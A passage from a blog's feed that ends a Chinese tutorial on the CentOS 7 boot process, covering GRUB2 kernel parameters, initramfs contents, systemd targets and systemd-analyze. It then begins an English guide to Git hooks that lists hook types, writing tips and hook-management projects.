&lt;p&gt;grub2在&#x2F;boot&#x2F;grub2&#x2F;grub.cfg配置文件中用insmod加载的模块在&#x2F;boot&#x2F;grub2&#x2F;i386-pc&#x2F;下。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-boot-process&#x2F;grub2-insmod-modules-directory.png&quot; alt=&quot;&quot; &#x2F;&gt;
④ 内核参数&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;rhgb 即Redhat Graphic Booting，表示以图形化方式启动（显示彩色进度条）
quiet 不提示用户服务加载失败的信息。只显示OK或FAILED。
net.ifnames=0 biosdevname=0 自定义网卡名称
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过向内核传递参数net.ifnames=0 biosdevname=0可以修改网卡名称。具体可以：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;vim &amp;#x2F;etc&amp;#x2F;sysconfig&amp;#x2F;grub
修改配置添加内核参数
GRUB_CMDLINE_LINUX=&amp;quot;crashkernel=auto spectre_v2=retpoline rd.lvm.lv=centos_com&amp;#x2F;root rd.lvm.lv=centos_com&amp;#x2F;swap rhgb quiet net.ifnames=0 biosdevname=0&amp;quot;

grub2-mkconfig -o &amp;#x2F;boot&amp;#x2F;grub2&amp;#x2F;grub.cfg
mv &amp;#x2F;etc&amp;#x2F;sysconfig&amp;#x2F;network-scripts&amp;#x2F;ifcfg-ens33 &amp;#x2F;etc&amp;#x2F;sysconfig&amp;#x2F;network-scripts&amp;#x2F;ifcfg-eth0
sed -i &amp;#x27;&amp;#x2F;DEVICE=&amp;#x2F;c\DEVICE=eth0&amp;#x27; &amp;#x2F;etc&amp;#x2F;sysconfig&amp;#x2F;network-scripts&amp;#x2F;ifcfg-eth0
reboot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;3-jia-zai-nei-he-kernelyu-initrd&quot;&gt;3. 加载内核Kernel与initrd&lt;&#x2F;h5&gt;
&lt;p&gt;Grub程序将通过菜单的选择结果，决定加载哪个内核Kernel和initrd（Initial RAM disk image
）。这里要注意：
① CentOS7使用initramfs来替代initrd
② 内核文件名以vmlinuz开头，一般放在&#x2F;boot&#x2F;下，可以有多个，以供grub选择加载。
③ initrd镜像文件名以initramfs开头，.img结尾，也可以有多个。
④ vmlinuz和initramfs文件配对出现，不单独使用。&lt;&#x2F;p&gt;
&lt;p&gt;Grub加载vmlinuz文件来将Linux kernel加载到内存；Grub加载initramfs镜像文件来将一个微型Linux文件系统加载入内存。这个微型的Linux文件系统包含必要的命令和模块（设备驱动程序）。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# &amp;#x2F;boot&amp;#x2F;grub2&amp;#x2F;grub.cfg
linux16 &amp;#x2F;vmlinuz-3.10.0-1062.el7.x86_64 root=&amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;centos_com-root ro crashkernel=auto spectre_v2=retpoline rd.lvm.lv=c
initrd16 &amp;#x2F;initramfs-3.10.0-1062.el7.x86_64.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&#x2F;vmlinuz-xxx和&#x2F;initramfs-xxx文件的&#x2F;表示&#x2F;boot。
root=&#x2F;dev&#x2F;mapper&#x2F;centos_com-root指明根分区&#x2F; ，==且挂载的根分区是ro只读的==。即此时内核访问的&#x2F;分区还是只读的。&lt;&#x2F;p&gt;
&lt;p&gt;initramfs内部是什么呢？&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 文件类型
file initrd.img
initrd.img: XZ compressed data
或者
file &amp;#x2F;boot&amp;#x2F;initramfs-3.10.0-1062.el7.x86_64.img
&amp;#x2F;boot&amp;#x2F;initramfs-3.10.0-1062.el7.x86_64.img: gzip compressed data, from Unix, last modified: Fri Feb  7 17:31:27 2020, max compression

# 在当前目录下生成解压结果
xz -dc initrd.img | cpio -id
或者
zcat initramfs-3.10.0-1062.el7.x86_64.img | cpio -imd

# 看看解压结果吧
lrwxrwxrwx  1 root root    7 Feb 15 17:00 bin -&amp;gt; usr&amp;#x2F;bin
drwxr-xr-x  2 root root   45 Feb 15 17:00 dev
drwxr-xr-x 12 root root 4096 Feb 15 17:00 etc
lrwxrwxrwx  1 root root   23 Feb 15 17:00 init -&amp;gt; usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;systemd
lrwxrwxrwx  1 root root    7 Feb 15 17:00 lib -&amp;gt; usr&amp;#x2F;lib
lrwxrwxrwx  1 root root    9 Feb 15 17:00 lib64 -&amp;gt; usr&amp;#x2F;lib64
drwxr-xr-x  2 root root    6 Feb  7 17:31 proc
drwxr-xr-x  2 root root    6 Feb  7 17:31 root
drwxr-xr-x  2 root root    6 Feb  7 17:31 run
lrwxrwxrwx  1 root root    8 Feb 15 17:00 sbin -&amp;gt; usr&amp;#x2F;sbin
-rwxr-xr-x  1 root root 3117 Aug  9  2019 shutdown
drwxr-xr-x  2 root root    6 Feb  7 17:31 sys
drwxr-xr-x  2 root root    6 Feb  7 17:31 sysroot
drwxr-xr-x  2 root root    6 Feb  7 17:31 tmp
drwxr-xr-x  7 root root   66 Feb 15 17:00 usr
drwxr-xr-x  2 root root   29 Feb 15 17:00 var

其中常见的命令和.so文件都有了。最关键的是还有systemd。init已经符号链接到了systemd，相应的pid是1。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;initramfs可以解决一个“先有鸡还是先有蛋的”问题，即内核需要挂载根分区（比如xfs文件系统），而xfs的驱动程序文件又在&#x2F;分区。要想访问&#x2F;分区，又需要xfs模块的驱动。此时initramfs可以在内存中直接提供一个上述的微型文件系统，在这个内存文件系统中存放了xfs的驱动程序模块，可以提供给内核来访问根分区。
initramfs提供的文件系统中存放的xfs驱动文件如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ll usr&amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;3.10.0-1062.el7.x86_64&amp;#x2F;kernel&amp;#x2F;fs&amp;#x2F;xfs&amp;#x2F;
total 328
-rw-r--r-- 1 root root 332132 Aug  8  2019 xfs.ko.xz
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;initrd的制作方法：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# raid1的驱动已存在于系统，在initrd文件系统中添加raid1驱动模块。
mkinitrd --with=raid1 &amp;#x2F;boot&amp;#x2F;initrd-$(uname -r).img $(uname -r)
# 使用系统已有的驱动模块新建initrd镜像文件
mkinitrd &amp;#x2F;boot&amp;#x2F;initrd-$(uname -r).img $(uname -r)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;initramfs的制作方法：
详见：https:&#x2F;&#x2F;blog.csdn.net&#x2F;pengrui18&#x2F;article&#x2F;details&#x2F;14389233&lt;&#x2F;p&gt;
&lt;h5 id=&quot;4-systemdqi-dong&quot;&gt;4. systemd启动&lt;&#x2F;h5&gt;
&lt;p&gt;grub加载Kernel，Kernel启动init进程，而init在initramfs中符号链接到systemd（也意味着systemd替代了init），最终实际上启动的是systemd，管理权限也交给了它。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;传统的init进程此时会读取&#x2F;etc&#x2F;inittab（这是init读取的第一个配置文件，最后一个文件是&#x2F;etc&#x2F;rc.d&#x2F;rc.local）。
然后运行如下内容：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;initial run level&lt;&#x2F;li&gt;
&lt;li&gt;system initialization scripts&lt;&#x2F;li&gt;
&lt;li&gt;run level specific script directories&lt;&#x2F;li&gt;
&lt;li&gt;trap certain key sequences&lt;&#x2F;li&gt;
&lt;li&gt;define UPS power fail&#x2F;restore scripts&lt;&#x2F;li&gt;
&lt;li&gt;spawn gettys on virtual consoles&lt;&#x2F;li&gt;
&lt;li&gt;initialize X in run level 5&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;run level：
0 halt
1 single
2 multiuser without network
3 full multiuser mode
4 unused
5 X11
6 reboot
使用 init n(1, 2, …, 5) 可以切换到相应的run level。
使用rc（running control）方式来管理上述0~6共7个run level。通过脚本完成管理，各脚本是串行的执行方式。
&#x2F;etc&#x2F;rc.d&#x2F;rc.local执行完毕后系统出现登陆界面。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# pid为1，和传统的init进程一样。
[root@com ~]# pidof systemd
1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;启动systemd使 Linux 系统进入可操作状态，并能够执行用户功能性任务。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-boot-process&#x2F;systemd-boot-process.png&quot; alt=&quot;&quot; &#x2F;&gt;
systemd可以管理运行中的 Linux 主机的许多方面，包括挂载文件系统（grub之后的第二次挂载，==此时挂载的根分区是可读写的==），以及开启和管理 Linux 主机的系统服务等。&lt;&#x2F;p&gt;
&lt;p&gt;systemd 借助其配置文件 &#x2F;etc&#x2F;systemd&#x2F;system&#x2F;default.target 决定 Linux 系统应该启动达到哪个状态（或目标态target）。default.target 是一个真实的 target 文件的符号链接。对于桌面系统，其链接到 graphical.target，该文件相当于旧式 systemV init 方式的 run level 5。对于一个服务器操作系统来说，default.target 更多是默认链接到 multi-user.target， 相当于 systemV 系统的 run level 3。emergency.target 相当于单用户模式。所有的目标态target和服务service均是 systemd 的单元unit。&lt;&#x2F;p&gt;
&lt;p&gt;以下是systemd的完整启动过程：
可以通过命令 man bootup 查看&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;           local-fs-pre.target
                    |
                    v
           (various mounts and   (various swap   (various cryptsetup
            fsck services...)     devices...)        devices...)       (various low-level   (various low-level
                    |                  |                  |             services: udevd,     API VFS mounts:
                    v                  v                  v             tmpfiles, random     mqueue, configfs,
             local-fs.target      swap.target     cryptsetup.target    seed, sysctl, ...)      debugfs, ...)
                    |                  |                  |                    |                    |
                    \__________________|_________________ | ___________________|____________________&amp;#x2F;
                                                         \|&amp;#x2F;
                                                          v
                                                   sysinit.target
                                                          |
                     ____________________________________&amp;#x2F;|\________________________________________
                    &amp;#x2F;                  |                  |                    |                    \
                    |                  |                  |                    |                    |
                    v                  v                  |                    v                    v
                (various           (various               |                (various          rescue.service
               timers...)          paths...)              |               sockets...)               |
                    |                  |                  |                    |                    v
                    v                  v                  |                    v              rescue.target
              timers.target      paths.target             |             sockets.target
                    |                  |                  |                    |
                    v                  \_________________ | ___________________&amp;#x2F;
                                                         \|&amp;#x2F;
                                                          v
                                                    basic.target
                                                          |
                     ____________________________________&amp;#x2F;|                                 emergency.service
                    &amp;#x2F;                  |                  |                                         |
                    |                  |                  |                                         v
                    v                  v                  v                                 emergency.target
                display-        (various system    (various system
            manager.service         services           services)
                    |             required for            |
                    |            graphical UIs)           v
                    |                  |           multi-user.target
                    |                  |                  |
                    \_________________ | _________________&amp;#x2F;
                                      \|&amp;#x2F;
                                       v
                             graphical.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;至此，整个启动过程结束。系统出现登陆界面。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;5-fen-xi-systemdde-qi-dong-guo-cheng-bian-yu-you-hua&quot;&gt;5. 分析systemd的启动过程便于优化&lt;&#x2F;h5&gt;
&lt;ul&gt;
&lt;li&gt;为获取关于启动速度的简短信息，使用下面的命令：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemd-analyze
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;根据初始化所用的时间打印所有正在运行的单元的列表。
不会显示服务类型为简单（Type=simple）的服务，因为 systemd 认为这些服务应是立即启动的。因此，无法测量初始化的延迟。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemd-analyze blame
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;打印关键的服务单元的树形结构&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemd-analyze critical-chain
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Learn how to improve your Git skills</title>
        <published>2025-02-07T00:00:00+00:00</published>
        <updated>2025-02-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/learn-how-to-improve-your-git-skills/"/>
        <id>https://vercel.juzhong.asia/obsidian/learn-how-to-improve-your-git-skills/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/learn-how-to-improve-your-git-skills/">&lt;h1 id=&quot;learn-how-to-improve-your-git-skills&quot;&gt;Learn how to improve your Git skills&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;&#x2F;h2&gt;
&lt;p&gt;Git Hooks are a built-in feature of Git that allow developers to automate tasks and enforce policies throughout the Git workflow. By writing custom scripts that Git can execute at key points in the development process, Git Hooks enable developers to streamline their workflow, ensure code quality, and enforce project-specific policies. In this guide, we will explore Git Hooks and show you how to use them effectively.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;what-are-git-hooks&quot;&gt;What are Git Hooks?&lt;&#x2F;h2&gt;
&lt;p&gt;Git Hooks are scripts that Git can execute automatically when certain events occur, such as before or after a commit, push, or merge. There are several types of Git Hooks, each with a specific purpose. Pre-commit hooks, for example, can be used to enforce code formatting or run tests before a commit is made. Pre-push hooks can be used to prevent pushes to certain branches or run additional tests before pushing. Post-merge hooks can be used to perform actions after a merge is completed, such as updating dependencies or generating documentation.&lt;&#x2F;p&gt;
&lt;p&gt;These hook scripts are only limited by a developer&#x27;s imagination. Some example hook scripts include:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;pre-commit&lt;&#x2F;strong&gt;: Check the commit message for spelling errors.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;pre-receive&lt;&#x2F;strong&gt;: Enforce project coding standards.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;post-commit&lt;&#x2F;strong&gt;: Email&#x2F;SMS team members of a new commit.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;post-receive&lt;&#x2F;strong&gt;: Push the code to production.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;how-to-use-git-hooks&quot;&gt;How to Use Git Hooks:&lt;&#x2F;h2&gt;
&lt;p&gt;To use Git Hooks, you simply need to create executable scripts in the &lt;code&gt;.git&#x2F;hooks&lt;&#x2F;code&gt; directory of your Git repository. The scripts should be named after the Git Hook event they correspond to (e.g., &lt;code&gt;pre-commit&lt;&#x2F;code&gt;,&lt;code&gt;pre-push&lt;&#x2F;code&gt;, &lt;code&gt;post-merge&lt;&#x2F;code&gt;) and have the appropriate permissions (&lt;code&gt;chmod +x&lt;&#x2F;code&gt;). Once the scripts are in place, Git will automatically execute them at the corresponding events.&lt;&#x2F;p&gt;
&lt;p&gt;Here&#x27;s a full list of hooks you can attach scripts to:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;git&#x2F;git&#x2F;blob&#x2F;master&#x2F;templates&#x2F;hooks--applypatch-msg.sample&quot;&gt;applypatch-msg&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;git&#x2F;git&#x2F;blob&#x2F;master&#x2F;templates&#x2F;hooks--pre-applypatch.sample&quot;&gt;pre-applypatch&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.git-scm.com&#x2F;docs&#x2F;githooks#_post_applypatch&quot;&gt;post-applypatch&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;git&#x2F;git&#x2F;blob&#x2F;master&#x2F;templates&#x2F;hooks--pre-commit.sample&quot;&gt;pre-commit&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;git&#x2F;git&#x2F;blob&#x2F;master&#x2F;templates&#x2F;hooks--prepare-commit-msg.sample&quot;&gt;prepare-commit-msg&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;git&#x2F;git&#x2F;blob&#x2F;master&#x2F;templates&#x2F;hooks--commit-msg.sample&quot;&gt;commit-msg&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.git-scm.com&#x2F;docs&#x2F;githooks#_post_commit&quot;&gt;post-commit&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;git&#x2F;git&#x2F;blob&#x2F;master&#x2F;templates&#x2F;hooks--pre-rebase.sample&quot;&gt;pre-rebase&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.git-scm.com&#x2F;docs&#x2F;githooks#_post_checkout&quot;&gt;post-checkout&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.git-scm.com&#x2F;docs&#x2F;githooks#_post_merge&quot;&gt;post-merge&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.git-scm.com&#x2F;docs&#x2F;githooks#pre-receive&quot;&gt;pre-receive&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;git&#x2F;git&#x2F;blob&#x2F;master&#x2F;templates&#x2F;hooks--update.sample&quot;&gt;update&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.git-scm.com&#x2F;docs&#x2F;githooks#post-receive&quot;&gt;post-receive&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;git&#x2F;git&#x2F;blob&#x2F;master&#x2F;templates&#x2F;hooks--post-update.sample&quot;&gt;post-update&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.git-scm.com&#x2F;docs&#x2F;githooks#_pre_auto_gc&quot;&gt;pre-auto-gc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.git-scm.com&#x2F;docs&#x2F;githooks#_post_rewrite&quot;&gt;post-rewrite&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.git-scm.com&#x2F;docs&#x2F;githooks#_pre_push&quot;&gt;pre-push&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;tips-for-writing-effective-git-hooks&quot;&gt;Tips for Writing Effective Git Hooks:&lt;&#x2F;h2&gt;
&lt;p&gt;When writing Git Hooks, it&#x27;s important to keep a few things in mind:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Git Hooks should be fast and reliable.&lt;&#x2F;em&gt;  Slow or unreliable scripts can slow down the Git workflow and cause errors.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;Git Hooks should be well-documented.&lt;&#x2F;em&gt;  Make sure to include comments in your scripts so that other developers can understand what they do.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;Git Hooks should be non-intrusive.&lt;&#x2F;em&gt;  Avoid scripts that modify code or files without the user&#x27;s consent.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;Git Hooks are a powerful tool for automating tasks and enforcing policies in Git. By writing custom scripts that Git can execute at key points in the development process, developers can streamline their workflow and ensure code quality. With the tips and techniques outlined in this guide, you&#x27;ll be able to use Git Hooks effectively in your own projects.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;reading&quot;&gt;Reading&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;ryanflorence.com&#x2F;deploying-websites-with-a-tiny-git-hook&#x2F;&quot;&gt;Deploying websites with a Git hook&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;longair.net&#x2F;blog&#x2F;2011&#x2F;04&#x2F;09&#x2F;missing-git-hooks-documentation&#x2F;&quot;&gt;The missing Git hooks documentation&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;omerkatz.com&#x2F;blog&#x2F;git-hooks-part-i-the-basics&quot;&gt;Git Hooks (Part I): The Basics&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;omerkatz.com&#x2F;blog&#x2F;2013&#x2F;5&#x2F;23&#x2F;git-hooks-part-2-implementing-git-hooks-using-python&quot;&gt;Git Hooks (Part II): Implementing Git Hooks using Python&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;codeinthehole.com&#x2F;tips&#x2F;tips-for-using-a-git-pre-commit-hook&#x2F;&quot;&gt;Tips for using Git pre commit hook&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wilsonmar.github.io&#x2F;git-hooks&#x2F;&quot;&gt;Use a bootstrap shell script to use Git Hooks in Mac with PowerShell and with IntelliJ&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;knpw.rs&#x2F;blog&#x2F;direnv-git-hooks&quot;&gt;Using direnv to Automatically Manage Git Hooks&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;projects&quot;&gt;Projects&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;brigade&#x2F;overcommit&quot;&gt;overcommit&lt;&#x2F;a&gt; - A well-maintained, up-to-date, flexible Git hook manager.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mroth&#x2F;lolcommits&quot;&gt;Lolcommits&lt;&#x2F;a&gt; - Takes a snapshot with your webcam every time you git commit code, and archives a lolcat style image with it.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bmwant&#x2F;podmena&quot;&gt;podmena&lt;&#x2F;a&gt; - Enhance your commit messages adding random emoji to it.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pre-commit.com&#x2F;&quot;&gt;pre-commit&lt;&#x2F;a&gt; - A framework for managing and maintaining multi-language pre-commit hooks.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;npmjs.org&#x2F;package&#x2F;node-hooks&quot;&gt;Hooks&lt;&#x2F;a&gt; is a command line git hook management tool.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rudikershaw&#x2F;git-build-hook&quot;&gt;Git Build Hook Maven Plugin&lt;&#x2F;a&gt;  - A maven plugin for managing client side (local) git configuration and installing hooks for those working on your project.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gnustavo&#x2F;Git-Hooks&quot;&gt;Git::Hooks&lt;&#x2F;a&gt; - A framework for implementing Git (and Gerrit) hooks.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pypi.python.org&#x2F;pypi&#x2F;git-pre-commit-hook&quot;&gt;git-pre-commit-hook&lt;&#x2F;a&gt;- Hook that blocks bad commits. Useful for Python-development.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;metacpan.org&#x2F;pod&#x2F;App::GitHooks&quot;&gt;App::GitHooks&lt;&#x2F;a&gt;- A modular and easy to configure git hooks framework, supporting&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;metacpan.org&#x2F;search?q=App%3A%3AGitHooks%3A%3APlugin%3A%3A&quot;&gt;many plugins&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pythonhosted.org&#x2F;jig&#x2F;&quot;&gt;Jig&lt;&#x2F;a&gt; - A pre-commit hook on steroids.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;wecodemore&#x2F;GitPHPHooks&quot;&gt;GitPHPHooks&lt;&#x2F;a&gt;- Write your hooks in PHP, manage and organize them on a task and project level. Has an additional Hooks library&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;wecodemore&#x2F;GitPHPHooksLibrary&quot;&gt;on GitHub&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
